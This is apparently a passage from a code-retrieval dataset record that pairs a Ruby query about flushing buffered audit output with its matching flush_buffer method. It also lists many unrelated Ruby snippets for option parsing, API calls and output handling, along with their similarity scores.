@api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#create_category\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def option_tag(text); end", "def update!(**args)\n @category = args[:category] if args.key?(:category)\n @patch_name = args[:patch_name] if args.key?(:patch_name)\n @severity = args[:severity] if args.key?(:severity)\n @summary = args[:summary] if args.key?(:summary)\n end", "def create_advanced_options\n option_separator\n option_separator 'Advanced options:'\n option_results_archive\n option_run_id\n option_observers\n option_property\n\n option_separator\n option_results_database\n end", "def create_tail_options\n @cl_parser.on_tail\n @cl_parser.on_tail 'Other options:'\n option_help_tail\n option_version_tail\n end", "def set_options(opts)\n opts.version, opts.banner = options.version, options.banner\n opts.set_program_name 'LinkShrink'\n\n options.api.map do |k, v|\n arg = k.to_s.downcase\n\n opts.on_head(\"-#{arg[0]}\", \"--#{arg}\", argument_text_for(k)) do\n options.api[k] = true\n end\n end\n\n opts.on_tail('-v', '--version',\n 'display the version of LinkShrink and exit') do\n puts opts.ver\n exit\n end\n\n opts.on_tail('-h', '--help', 'print this help') do\n puts opts.help\n exit\n end\n end", "def process_options\n \n end", "def update_category_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.update_category ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CategoriesApi.update_category\"\n end\n # resource path\n local_var_path = \"/categories/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'category'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#update_category\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def parse_description(section)\n if md = /^([A-Z]\\w+\\:)/.match(section)\n @status = md[1].chomp(':')\n @description = md.post_match.strip\n else\n @description = section.strip\n end \n end", "def opt_parse # rubocop:disable Metrics/AbcSize\n case @options[:action]\n when 'create'\n build_looper('instances')\n when 'list'\n formatter(list)\n when 'delete'\n puts delete\n when 'get_ip'\n BmcAuthenticate.new(@options)\n attrcheck = { 'instance' => @options[:inst] }\n @validate.validate(@options, attrcheck)\n inst_details = AttrFinder.new(@instanceparameters)\n inst_details.options = @options\n inst_details.validate = @validate\n inst_ocid = inst_details.instance\n ips = list_instance_ip(@options[:compartment], inst_ocid)\n puts 'The private IP is ' + ips.at(0) + ' the public ip is ' + ips.at(1)\n when 'InstanceConsoleHistory'\n chist = InstanceConsoleHistory.new\n chist.options = @options\n chist.validate = @validate\n formatter(chist.list) \n else\n 'you have entered an incorrect value, correct values are get_ip, create, list, list_image, delete'\n end \n end", "def format_description(text)\n # Look for signs of structure, otherwise just treat as unstructured.\n case text\n when /\"\";/ then double_quotes_to_sections(text)\n when /\\.--v\\. */ then double_dash_to_sections(text)\n when /; *PART */i then # Seen in some IA records.\n when /:;/ then # Observed in one unusual case.\n when /[[:punct:]] *--.* +-- +/ then # Blurbs/quotes with attribution.\n when / +-- +.* +-- +/ then # Table-of-contents title list.\n when /(;[^;]+){4,}/ then # Many sections indicated.\n else return format_multiline(text)\n end\n q_section = nil\n text.split(/ *; */).flat_map { |part|\n next if (part = part.strip).blank?\n case part\n when /^\"\"(.*)\"\"$/\n # === Rare type of table-of-contents listing entry\n line = $1.to_s\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless q_section)\n q_section = $1.to_s\n [gap, \"#{q_section} #{$2}\", \"\\n\"].compact\n else\n q_section = nil\n line.match?(/^\\d+ +/) ? line : \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n\n when / +-- +.* +-- +/\n # === Table-of-contents listing\n section = nil\n part.split(/ +-- +/).flat_map { |line|\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless section)\n section = $1.to_s.delete_suffix('.')\n [gap, \"#{section}. #{$2}\", \"\\n\"].compact\n else\n section = nil\n \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n }.tap { |toc| toc << \"\\n\" unless toc.last == \"\\n\" }\n\n when /[[:punct:]] *--/\n # === Blurbs/quotes with attribution\n part.scan(BLURB_RE).flat_map do |paragraph, attribution|\n attribution.remove!(/[.\\s]+$/)\n [\"#{paragraph} #{EM_DASH}#{attribution}.\", \"\\n\"]\n end\n\n when /^v[^.]*\\. *\\d/\n # === Apparent table-of-contents volume title\n [part]\n\n else\n # === Plain text section\n part = \"#{part}.\" unless part.match?(/[[:punct:]]$/)\n [part, \"\\n\"]\n end\n }.compact.map { |line|\n line.gsub(/---/, EM_DASH).gsub(/--/, EN_DASH)\n }\n end", "def options_text\n versioned_definition.options_text\n end", "def update!(**args)\n @text = args[:text] if args.key?(:text)\n @text_with_prefix = args[:text_with_prefix] if args.key?(:text_with_prefix)\n @text_with_prefix_suffix = args[:text_with_prefix_suffix] if args.key?(:text_with_prefix_suffix)\n @text_with_suffix = args[:text_with_suffix] if args.key?(:text_with_suffix)\n end", "def add args\n db = get_db\n if args.empty?\n print \"Enter a short summary: \"\n STDOUT.flush\n text = gets.chomp\n if text.empty?\n exit ERRCODE\n end\n else\n # if you add last arg as P1..P5, I'll update priority automatically\n if args.last =~ /P[1-5]/\n $default_priority = args.pop\n end\n text = args.join \" \"\n end\n # convert actual newline to C-a. slash n's are escapes so echo -e does not muck up.\n #atitle=$( echo \"$atitle\" | tr -cd '\\40-\\176' )\n text.tr! \"\\n\", '\u0001'\n title = text\n desc = nil\n if $prompt_desc\n # choice of vim or this XXX also how to store in case of error or abandon\n # and allow user to edit, so no retyping. This could be for mult fields\n message \"Enter a detailed description (. to exit): \"\n desc = Cmdapp.get_lines\n #message \"You entered #{desc}\"\n end\n type = $default_type || \"bug\"\n severity = $default_severity || \"normal\"\n status = $default_status || \"open\"\n priority = $default_priority || \"P3\"\n if $prompt_type\n type = Cmdapp._choice(\"Select type:\", %w[bug enhancement feature task] )\n #message \"You selected #{type}\"\n end\n if $prompt_priority\n #priority = Cmdapp._choice(\"Select priority:\", %w[normal critical moderate] )\n priority = ask_priority\n #message \"You selected #{severity}\"\n end\n if $prompt_severity\n severity = Cmdapp._choice(\"Select severity:\", %w[normal critical moderate] )\n #message \"You selected #{severity}\"\n end\n if $prompt_status\n status = Cmdapp._choice(\"Select status:\", %w[open started closed stopped canceled] )\n #message \"You selected #{status}\"\n end\n assigned_to = $default_assigned_to\n if $prompt_assigned_to\n message \"Assign to:\"\n #assigned_to = $stdin.gets.chomp\n assigned_to = Cmdapp._gets \"assigned_to\", \"assigned_to\", $default_assigned_to\n #message \"You selected #{assigned_to}\"\n end\n project = component = version = nil\n # project\n if $use_project\n project = Cmdapp.user_input('project', $prompt_project, nil, $valid_project, $default_project)\n end\n if $use_component\n component = Cmdapp.user_input('component', $prompt_component, nil, $valid_component, $default_component)\n end\n if $use_version\n version = Cmdapp.user_input('version', $prompt_version, nil, $valid_version, $default_version)\n end\n\n start_date = @now\n due_date = default_due_date\n comment_count = 0\n priority ||= \"P3\" \n description = desc\n fix = nil #\"Some long text\" \n #date_created = @now\n #date_modified = @now\n body = {}\n body[\"title\"]=title\n body[\"description\"]=description\n body[\"type\"]=type\n body[\"status\"]=status\n body[\"start_date\"]=start_date.to_s\n body[\"due_date\"]=due_date.to_s\n body[\"priority\"]=priority\n body[\"severity\"]=severity\n body[\"assigned_to\"]=assigned_to\n body[\"created_by\"] = $default_user\n # only insert if its wanted by user\n body[\"project\"]=project if $use_project\n body[\"component\"]=component if $use_component\n body[\"version\"]=version if $use_version\n\n rowid = db.table_insert_hash(\"bugs\", body)\n puts \"Issue #{rowid} created\"\n logid = db.sql_logs_insert rowid, \"create\", \"#{rowid} #{type}: #{title}\"\n body[\"id\"] = rowid\n mail_issue nil, body\n \n 0\n end", "def parse_options\n\n\toptions = {}\n\t# Defalut values\n\toptions[:lines] = 10000\n\toptions[:minwords] = 2\n\toptions[:maxwords] = 5\n\toptions[:delta] = 600\n\n\tOptionParser.new do |opts|\n\t\topts.banner = 'Usage: create_log.rb -f -k -n [-s] [-l] [-d] [-h]'\n\n\t\topts.on('-f', '--file=file FILE', 'Path + name of the output file', String) do |file|\n\t\t\toptions[:file] = file\n\t\tend\n\n\t\topts.on('-k', '--keywords=a,b,c KEYWORDS','Comma separated list of the keywords to be', \n\t\t\t \t'included to the log', Array) do |kw|\n\t\t\toptions[:keywords] = kw\n\t\tend\n\n\t\topts.on('-n', '--lines=n LINES', 'Number of lines in the log', Integer) do |n|\n\t\t\toptions[:lines] = n\n\t\tend\n\n\t\topts.on('-t', '--time[=t]', 'First time point of the log, default is a current time', String) do |t|\n\t\t\toptions[:time] = t\n\t\tend\n\t\t\t\n\t\topts.on('-s', '--minwords[=num]', 'Minimum number of words in one log entry, default 2', Integer) do |s|\n\t\t\toptions[:minwords] = s\n\t\tend\n\t\t\n\t\topts.on('-l', '--maxwords[=num]', 'Maximum number of words in one log entry, default 5', Integer) do |l|\n\t\t\toptions[:maxwords] = l\n\t\tend\n\n\t\topts.on('-d', '--delta[=num]', 'Maximum time interval between log entries, in seconds, >600. Default is 10 min.', Integer) do |d|\n\t\t\toptions[:delta] = d\n\t\tend\n\n\t\t# Displays a help screen\n\t\topts.on_tail( '-h', '--help', 'Display help' ) do\n\t\t\tputs opts\n\t\t\texit\n\t\tend\n\tend.parse!\n\n\t# Abort if required arguments are missing\n\t[options[:file], options[:keywords], options[:lines]].each do |opt|\n\t\tif opt.nil?\n\t\t\tabort \"Please, provide at least log file name AND list of keywords\" \n\t\tend\n\tend\n\n\t# Parse time from the argument or nil if incorrect format\n\tbegin\n\t\ttime = Date._parse(options[:time]).values_at(:year, :mon, :mday, :hour, :min, :sec, :zone)\n\t\toptions[:time] = Time.mktime(*time)\n\trescue \n\t\tputs \"Time hasn't been set up correctly. Using current time instead\"\n\t\toptions[:time] = Time.now\n\tend\n\n\treturn options\nend", "def update!(**args)\n @begin = args[:begin] if args.key?(:begin)\n @clean_text = args[:clean_text] if args.key?(:clean_text)\n @context = args[:context] if args.key?(:context)\n @context_begin = args[:context_begin] if args.key?(:context_begin)\n @context_end = args[:context_end] if args.key?(:context_end)\n @end = args[:end] if args.key?(:end)\n @info = args[:info] if args.key?(:info)\n @text = args[:text] if args.key?(:text)\n @to_index = args[:to_index] if args.key?(:to_index)\n end", "def category_option_params\n params.require(:category_option).permit(:title)\n end", "def update!(**args)\n @changed_text = args[:changed_text] if args.key?(:changed_text)\n @provenance = args[:provenance] if args.key?(:provenance)\n @text_anchor = args[:text_anchor] if args.key?(:text_anchor)\n end", "def process_options\n \n end", "def process_options\n \n end", "def process_options\n \n end", "def parse! opts, config\n @long_switch = \"#{@long_switch} #{@key.to_s.upcase}\" if @type == :posix and \\\n defined?(@key) && @key\n switches = []\n switches << (defined?(@short_switch) && @short_switch) ? @short_switch : nil\n switches << (defined?(@long_switch) && @long_switch) ? @long_switch : nil\n @description = \"#{@description} (Default: #{@default})\" if @default\n opts.on(switches[0], switches[1], @description) do |o|\n config[@key] = o\n end\n end", "def update!(**args)\n @headline = args[:headline] if args.key?(:headline)\n @image = args[:image] if args.key?(:image)\n @text = args[:text] if args.key?(:text)\n end", "def prepare_options(opts = [])\n opts.inject('') do |string, (option, value)|\n string += case\n when value\n create_option(option, value)\n when option.respond_to?(:each_pair)\n prepare_options(option)\n else\n create_option(option)\n end\n end\n end", "def normalize_args(string, options_hash); end", "def create_new_section(title, options={})\n send_request('create_new_section', normalize_options(title, options))\n end", "def createOptions(file, action)\n options = {}\n options[:tree] = $repo.index.write_tree($repo)\n options[:author] = { :email => \"telegraphy@git.com\", :name => 'Telegraphy', :time => Time.now }\n options[:committer] = { :email => \"telegraphy@git.com\", :name => 'Telegraphy', :time => Time.now }\n options[:message] ||= \"#{action} #{file} from Telegraphy.\"\n options[:parents] = $repo.empty? ? [] : [ $repo.head.target ].compact\n options[:update_ref] = 'HEAD'\n return options\nend", "def add_options(opts, options, path='')\n options.each_pair { |k,v|\n next unless v.is_a?(Hash)\n key_path = path.empty? ? k.to_s : \"#{path}.#{k}\"\n if v.has_key?(:val)\n default = v[:val]\n switch = \"--#{key_path} #{v[:arg]}\"\n doc_with_default = \"#{v[:doc]} Default: #{default}\"\n if default.is_a?(Array)\n if v.has_key?(:short)\n opts.on(v[:short], switch, String, v[:doc]) { |val| arg_append(key_path, val, v[:parse]) }\n else\n opts.on(switch, String, v[:doc]) { |val| arg_append(key_path, val, v[:parse]) }\n end\n elsif v.has_key?(:short)\n # If val is nil then the option was a flag so set to true\n opts.on(v[:short], switch, v[:type], doc_with_default) { |val| set(key_path, val || true) }\n else \n # If val is nil then the option was a flag so set to true\n opts.on(switch, v[:type], doc_with_default) { |val| set(key_path, val || true) }\n end\n else\n add_options(opts, v, key_path)\n end\n }\n end", "def update!(**args)\n @confidences = args[:confidences] if args.key?(:confidences)\n @display_names = args[:display_names] if args.key?(:display_names)\n @ids = args[:ids] if args.key?(:ids)\n @text_segment_end_offsets = args[:text_segment_end_offsets] if args.key?(:text_segment_end_offsets)\n @text_segment_start_offsets = args[:text_segment_start_offsets] if args.key?(:text_segment_start_offsets)\n end", "def process_options(raw, options = {})\n raw = raw.merge(options)\n \n # normalize all keys to lowercase\n new_hash = {}\n raw.each {|k, v| new_hash.merge!({k.downcase => v})}\n \n # filter out type -> it is only meaningful to opennebula\n new_hash.delete(:type)\n\n new_hash\n end", "def post subject, text, options = {}\n date = if options[:date] then\n if String === options[:date] then\n DateTime.parse(options[:date])\n else\n options[:date]\n end\n else\n DateTime.now\n end\n\n\n callhash = {\n :event => text,\n :subject => subject,\n :year => date.year,\n :mon => date.month,\n :day => date.day,\n :hour => date.hour,\n :min => date.min,\n :lineendings => \"unix\",\n :props => {}\n }\n\n if options[:security] then\n callhash[:security]=options[:security]\n end\n\n {\n :mood => :current_mood,\n :music => :current_music,\n :preformatted => :opt_preformatted,\n :nocomments => :opt_nocomments,\n :picture => :picture_keyword,\n :noemail => :opt_noemail,\n :backdated => :opt_backdated\n }.each do |option_name, lj_option_name|\n if options[option_name] then\n callhash[:props][lj_option_name] = options[option_name]\n end\n end\n\n postevent callhash\n end", "def add_options(opts)\n opts\n end", "def section_params\n params.require(:section).permit(:title, :content, :description, :status_id, :visibility_id, :document_id, :order,\n display_format:[:suppress_collapse, :collapse_default])\n end", "def format(path, text)\n ad_hoc_config = fork_config(path, text, format: true)\n capture_rubocop_stdout(ad_hoc_config)\n ad_hoc_config.rubocop_options[:stdin]\n end", "def add_item!(opts)\n raise \"Title argument required\" unless opts[:title]\n topts = opts.clone\n topts[:priority] = :normal unless topts[:priority]\n topts[:status] = :not_started unless topts[:status]\n if(topts[:percent_complete] && !(0..100).include?(topts[:percent_complete]))\n raise \"Invalid :percent_complete #{topts[:percent_complete]}\"\n end\n\n super(topts)\n end", "def process_options\n\t\t@options[:verbose] = false if @options[:quiet]\n\t\t@options[:getword] = false if @options[:random]\n\t\t@options[:add] = false if @options[:random] or @options[:getword]\n\tend", "def parse_options\n options[:markdown] = false\n o = OptionParser.new do |opts|\n opts.on('-m', '--markdown', 'Use Markdown Syntax') do\n options[:markdown] = true\n end\n opts.on('-l', '--html', 'Use HTML Syntax') do\n options[:html] = true\n end\n opts.on('-s', '--size PERCENTAGE', 'Image Size') do |value|\n options[:size] = value\n end\n opts.on('-t', '--title TITLE', 'Image Title') do |value|\n options[:title] = value\n end\n opts.on('-d', '--desc DESC', 'Image Title') do |value|\n options[:desc] = value\n end\n opts.on('-v', '--version', 'Print Version') do\n version\n quit\n end\n opts.on('-h', '--help', 'Print Help') do\n help\n quit\n end\n end\n begin\n o.parse!\n rescue OptionParser::MissingArgument => e\n puts \"Error: #{e.message}\"\n quit\n rescue OptionParser::InvalidOption => e\n puts \"Error: #{e.message}\"\n quit\n end\n end", "def update!(**args)\n @category = args[:category] if args.key?(:category)\n @label = args[:label] if args.key?(:label)\n end", "def extract_add_options(options)\n {\n \"id\" => options.delete(\"id\"),\n \"default\" => options.delete(\"default\") || false,\n \"next_style_id\" => options.delete(\"next_style\") || nil,\n \"base_style_id\" => options.delete(\"base_style\") || nil,\n \"assign_handle\" => options.delete(\"assign_handle\") || @options[\"assign_style_handles\"],\n \"assign_priority\" => options.delete(\"assign_priority\") || @options[\"assign_style_priorities\"]\n }\n end", "def update!(**args)\n @abbreviated_heading_text = args[:abbreviated_heading_text] if args.key?(:abbreviated_heading_text)\n @abbrv_embedding = args[:abbrv_embedding] if args.key?(:abbrv_embedding)\n @heading_embedding = args[:heading_embedding] if args.key?(:heading_embedding)\n @normalized_heading_text = args[:normalized_heading_text] if args.key?(:normalized_heading_text)\n @passage_embedding = args[:passage_embedding] if args.key?(:passage_embedding)\n @passage_text = args[:passage_text] if args.key?(:passage_text)\n end", "def options_text(alt_option_config_attr = nil)\n alt_option_config_attr ||= self.class.option_configs_attr\n return unless alt_option_config_attr\n\n send(alt_option_config_attr).dup\n end", "def tags_and_categories=(text)\n active_content_div.text_field(:id=>/as-input-\\d+/).set text +\"\\n\"\n wait_for_ajax\n end", "def update!(**args)\n @break_level = args[:break_level] if args.key?(:break_level)\n @break_skipped_text = args[:break_skipped_text] if args.key?(:break_skipped_text)\n @category = args[:category] if args.key?(:category)\n @end = args[:end] if args.key?(:end)\n @head = args[:head] if args.key?(:head)\n @info = args[:info] if args.key?(:info)\n @label = args[:label] if args.key?(:label)\n @lemma = args[:lemma] if args.key?(:lemma)\n @morph = args[:morph] if args.key?(:morph)\n @script_code = args[:script_code] if args.key?(:script_code)\n @start = args[:start] if args.key?(:start)\n @tag = args[:tag] if args.key?(:tag)\n @tag_confidence = args[:tag_confidence] if args.key?(:tag_confidence)\n @text_properties = args[:text_properties] if args.key?(:text_properties)\n @word = args[:word] if args.key?(:word)\n end", "def command_run_options(c, str_opts)\n c.option '-c', '--categories [string]', String, str_opts.categories\n c.option '-d', '--dl-method [string]', String, str_opts.dl_method\n c.option '-n', '--number [integer]', Integer, str_opts.number\n c.option '-p', '--player [string]', String, str_opts.player\n c.option '-r', '--rng [string]', String, str_opts.rng\n end", "def update!(**args)\n @avg_term_weight = args[:avg_term_weight] if args.key?(:avg_term_weight)\n @bad_title = args[:bad_title] if args.key?(:bad_title)\n @badtitleinfo = args[:badtitleinfo] if args.key?(:badtitleinfo)\n @languages = args[:languages] if args.key?(:languages)\n @leadingtext = args[:leadingtext] if args.key?(:leadingtext)\n @num_punctuations = args[:num_punctuations] if args.key?(:num_punctuations)\n @num_tags = args[:num_tags] if args.key?(:num_tags)\n @num_tokens = args[:num_tokens] if args.key?(:num_tokens)\n @prose_restrict = args[:prose_restrict] if args.key?(:prose_restrict)\n @restricts = args[:restricts] if args.key?(:restricts)\n @timestamp = args[:timestamp] if args.key?(:timestamp)\n @title = args[:title] if args.key?(:title)\n end", "def update!(**args)\n @category = args[:category] if args.key?(:category)\n @confidence = args[:confidence] if args.key?(:confidence)\n end", "def update_status(status, options={})\n send_audit(:kind => :status, :text => status, :category => options[:category])\n end", "def update!(**args)\n @metadata = args[:metadata] if args.key?(:metadata)\n @raw_text = args[:raw_text] if args.key?(:raw_text)\n end", "def update(opts); end", "def update!(**args)\n @alt_text = args[:alt_text] if args.key?(:alt_text)\n @background_color = args[:background_color] if args.key?(:background_color)\n @disabled = args[:disabled] if args.key?(:disabled)\n @on_click = args[:on_click] if args.key?(:on_click)\n @style = args[:style] if args.key?(:style)\n @text = args[:text] if args.key?(:text)\n end", "def update!(**args)\n @category = args[:category] if args.key?(:category)\n @tag = args[:tag] if args.key?(:tag)\n end", "def update!(**args)\n @explanation_spec = args[:explanation_spec] if args.key?(:explanation_spec)\n @explanation_type = args[:explanation_type] if args.key?(:explanation_type)\n end", "def update!(**args)\n @category = args[:category] if args.key?(:category)\n @description = args[:description] if args.key?(:description)\n @description_score = args[:description_score] if args.key?(:description_score)\n @identifier = args[:identifier] if args.key?(:identifier)\n @language = args[:language] if args.key?(:language)\n @title = args[:title] if args.key?(:title)\n @title_score = args[:title_score] if args.key?(:title_score)\n @url = args[:url] if args.key?(:url)\n end", "def help_option_params\n params.require(:help_option).permit(:descriptionvol, :descriptioncall)\n end" ]
[ "0.58698285", "0.56669676", "0.56419086", "0.5485371", "0.5347494", "0.5022771", "0.49565056", "0.49172178", "0.4915692", "0.49007463", "0.48998454", "0.48915353", "0.48915353", "0.48280305", "0.48031807", "0.4754392", "0.47411186", "0.47337097", "0.47330752", "0.4727763", "0.4722537", "0.4721246", "0.4699346", "0.46909562", "0.4689696", "0.46830586", "0.46635133", "0.46607333", "0.4657181", "0.46492738", "0.464868", "0.46398365", "0.4637383", "0.4614294", "0.46073648", "0.4607226", "0.46014443", "0.4600106", "0.45965376", "0.45732886", "0.45699874", "0.45678726", "0.45655724", "0.45560053", "0.45461357", "0.45461357", "0.45408836", "0.45284548", "0.4522682", "0.4515566", "0.4515283", "0.45130092", "0.45126736", "0.45118886", "0.45115733", "0.45113662", "0.45064744", "0.45057526", "0.45040858", "0.4497742", "0.44975004", "0.44869718", "0.44809294", "0.44741744", "0.4467156", "0.4467156", "0.4467156", "0.44650015", "0.4455304", "0.44550374", "0.4453765", "0.44509873", "0.4449107", "0.4446443", "0.4442826", "0.44395944", "0.44171822", "0.44166458", "0.44163144", "0.44136125", "0.44115323", "0.44103166", "0.44081244", "0.43958673", "0.43937525", "0.4389345", "0.43820283", "0.43796304", "0.43788284", "0.43734294", "0.4373428", "0.43722948", "0.43668762", "0.43566927", "0.43499157", "0.43498138", "0.43488446", "0.43305945", "0.4329493", "0.43286416" ]
0.67551696
0
Send any buffered output to auditor === Return Always return true
def flush_buffer if @timer @timer.cancel @timer = nil end unless @buffer.empty? internal_send_request('append_output', :text => @buffer) @buffer = '' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def send_pending\n if output.length > 0\n sent = send(output.to_s, 0)\n debug { \"sent #{sent} bytes\" }\n output.consume!(sent)\n return sent > 0\n else\n return false\n end\n end", "def pending_write?\n output.length > 0\n end", "def flush_buffer\n # note we must discard cancelled timer or else we never create a new timer and stay cancelled.\n if @timer\n @timer.cancel\n @timer = nil\n end\n\n to_send = nil\n @mutex.synchronize do\n unless @buffer.empty?\n to_send = @buffer\n @buffer = ''\n end\n end\n\n if to_send\n internal_send_audit(:kind => :output, :text => to_send, :category => EventCategories::NONE)\n end\n end", "def buffer? \n !@_out_buf.nil?\n end", "def flush\n if output\n now = Time.now\n if @last_flush.nil? || (now - @last_flush > FLUSH_TIMER)\n output.flush\n @last_flush = now\n end\n end\n end", "def output_buffer; end", "def output_buffer; end", "def flush_buffer; self.input_buffer = \"AAAA\"; end", "def active\n @buffering\n end", "def flush!\n $stdout.flush\nend", "def flush!\n $stdout.flush\nend", "def flush!\n $stdout.flush\n end", "def play\n @logger.debug(\"OutputStat playing #{@buffer.length} line(s).\")\n align\n @buffer.each { |line| output_line(line) }\n @buffer = []\n @record = @batch\n end", "def flush() end", "def flush() end", "def flush() end", "def flush_buffer\n buf = @@output_buffer.dup\n @@output_buffer.clear\n buf\n end", "def flush\n # {{{\n unless @output_allowed\n raise \"You can't use flush outside of a Rweb::out-block\"\n end\n buffer = @buffer.join\n\n unless @output_started\n sendHeaders\n end\n $stdout.print(buffer)\n\n @buffer = []\n # }}}\n end", "def append_output(text)\n EM.next_tick do\n @buffer << text\n if @buffer.size > MIN_AUDIT_SIZE\n flush_buffer\n else\n reset_timer\n end\n end\n end", "def flush\n out = @buffer\n @buffer = ''\n out\n end", "def stdout_received(data); end", "def enqueue_pending_output; end", "def kibuvits_write_to_stdout data\n $kibuvits_lc_mx_streamaccess.synchronize do\n # It's like the kibuvits_writeln, but without the\n an_io=STDOUT.reopen($stdout)\n an_io.write data\n an_io.flush\n an_io.close\n end # synchronize\nend", "def process_output(buf)\n force_utf8(buf)\n print_buffer(buf)\n\n @out_mutex.synchronize do\n @buffer << buf\n if @constrain && @buffer.length > @buffer_size\n @buffer = @buffer[-@buffer_size..-1]\n end\n @thread.wakeup if @thread\n end\n end", "def console_output?\n false\n end", "def buffered_messages; end", "def capture_io; end", "def flush_output\n if @pending_output != \"\"\n add_prompt\n connection.send_data @pending_output\n clear_output\n end\n end", "def flush_next_out\n\t\t@out_pos = @output_buffer.length\n\t\t@finished = true\n\t\tret = @output_buffer.pack(\"c*\")\n\t\t@output_buffer = []\n\t\tret\n\tend", "def _buf\n return $stdout\nend", "def _buf\n return $stdout\nend", "def send str\n\t puts \"RktDisplay: [delay: #{@send_buffer_delay}] #{str}\" if $verbose > 3\n\n # Add to sendbuffer if @send_buffer_delay > 0\n @send_buffer.push [Time.now.to_i + @send_buffer_delay, str] if @send_buffer_delay > 0\n\n # Send from sendbuffer\n begin\n if @send_buffer_delay > 0\n \t Protocol.write @c, (@send_buffer.shift)[1] if Time.now.to_i >= (@send_buffer.first)[0]\n \t else\n \t Protocol.write @c, str\n \t end\n \t false\n rescue Exception=>e\n true\n end\n \n\tend", "def print_buffer(buf)\n $stdout.print buf if @flush_buffer\n $stdout.flush unless $stdout.sync\n end", "def stream?\n return false\n end", "def flush_next_out\n\t\t\t@out_pos = @output_buffer.length\n\t\t\t@finished = true\n\t\t\tret = @output_buffer.pack(\"c*\")\n\t\t\t@output_buffer = []\n\t\t\tret\n\t\tend", "def flush\n @inside_input = false\n str = \"#{END_MARKER}\\n#{FLUSH_SENTENCE}\\n\"\n @pipe.print(str)\n # Here invoke the reader thread to ensure\n # the whole output has been read.\n #@reader.run\n end", "def stdout?\n @stdout_handler.output?\n end", "def stdout(event) ; $stdout.puts event ; $stdout.flush ; end", "def stdout?\n exists = @stdout.length > 0\n unless exists\n consume_connection\n exists = @stdout.length > 0\n end\n exists\n end", "def stdout; end", "def stdout; end", "def stdout; end", "def stdout; end", "def stdout; end", "def stdout; end", "def buffer( msg, flush: true )\n return buffer_reset if quiet\n if msg.respond_to? :each\n msg.each do |msg_line|\n @line_buffer += msg_line\n end\n else\n @line_buffer += msg\n end\n return unless flush && @to_console && @msg_queue.nil?\n STDOUT.print @line_buffer\n STDOUT.flush\n buffer_reset\n end", "def flush!\n return false if @buffer.empty? and @output_type != :blank\n @logger.debug \"FLUSH ==========> #{@output_type}\"\n @buffer.gsub!(/\\A\\n*/, \"\")\n\n case\n when mode_is_code?(current_mode)\n @output << \"```#{@block_lang}\\n\"\n @output << @buffer << \"\\n\"\n @output << \"```\\n\"\n when preserve_whitespace?\n @output << @buffer << \"\\n\"\n\n when @output_type == :blank\n @output << \"\\n\"\n\n else\n case current_mode\n when :paragraph\n @output << \"> \" if @mode_stack[0] == :quote\n\n when :list_item\n @output << \" \" * @mode_stack.count(:list_item) << \"* \"\n\n when :horizontal_rule\n @output << \"---\"\n\n end\n @output << inline_formatting(@buffer) << \"\\n\"\n end\n @buffer = \"\"\n end", "def flush\n each_ios_and_stdout(&:flush)\n end", "def flush_async\n activity_buffer.flush_async\n end", "def auto_flush\n if @written.nil?\n @written = 0\n end\n\n @written += 1\n\n if @written >= self.flush_interval\n self.flush\n @written = 0\n end\n end", "def shell_write(buf)\n return unless buf\n\n begin\n framework.events.on_session_command(self, buf.strip)\n rstream.write(buf)\n rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e\n #print_error(\"Socket error: #{e.class}: #{e}\")\n shell_close\n raise e\n end\n end", "def flush\n @out.flush if @out.is_a?(IO)\n end", "def send_buffer(verbose=false)\n if @message.length > 0\n self.transmit()\n send_length=@message.length\n send_start=Time.now()\n show=\"\"\n while @message.length > 0\n @m.synchronize do\n self.sendcmd(\"text.add_tx\",@message)\n @message=\"\"\n end\n waited=0\n max=@start_wait\n\n result=\"\"\n while waited<max\n waited=waited+1\n result=self.get_tx_data()\n if result.length > 0\n max=@char_wait\n waited=0\n show=show+result\n if verbose\n puts show\n end\n end\n sleep 1\n end\n end\n end\n self.receive()\n send_end=Time.now()\n puts \"#{send_length} characters sent in #{(send_end-send_start).to_i} seconds, #{((((send_length/(send_end.to_f-send_start.to_f))*10)+0.5).to_i)/10.to_f} chars/sec.\" if @debug\n return show\n end", "def flush\n return unless @buffer.size > 0\n @log.write(@buffer.slice!(0..-1).join)\n end", "def put_hold_notice\n @io.puts\n @io.puts 'Pausing here -- run Ruby again to ' \\\n 'measure the next benchmark...'\n end", "def flush\n\t\t\t\tsyswrite(@write_buffer)\n\t\t\t\t@write_buffer.clear\n\t\t\tend", "def flush\n @out.flush if @out.respond_to? :flush\n end", "def straight_flush?\n straight? && flush?\n end", "def redirect_stdout?\n !!@redirect_stdout\n end", "def flush; end", "def flush; end", "def flush; end", "def flush; end", "def flush; end", "def do?\n execute_true? flush\n end", "def wait(timeout: nil)\n\t\t\t\tif timeout\n\t\t\t\t\tread_ready, _, _ = IO.select([@output], [], [], timeout)\n\t\t\t\t\t\n\t\t\t\t\treturn false unless read_ready and read_ready.any?\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t@signalled or @output.read(1)\n\t\t\t\t\n\t\t\t\t# Just in case that this was split across multiple 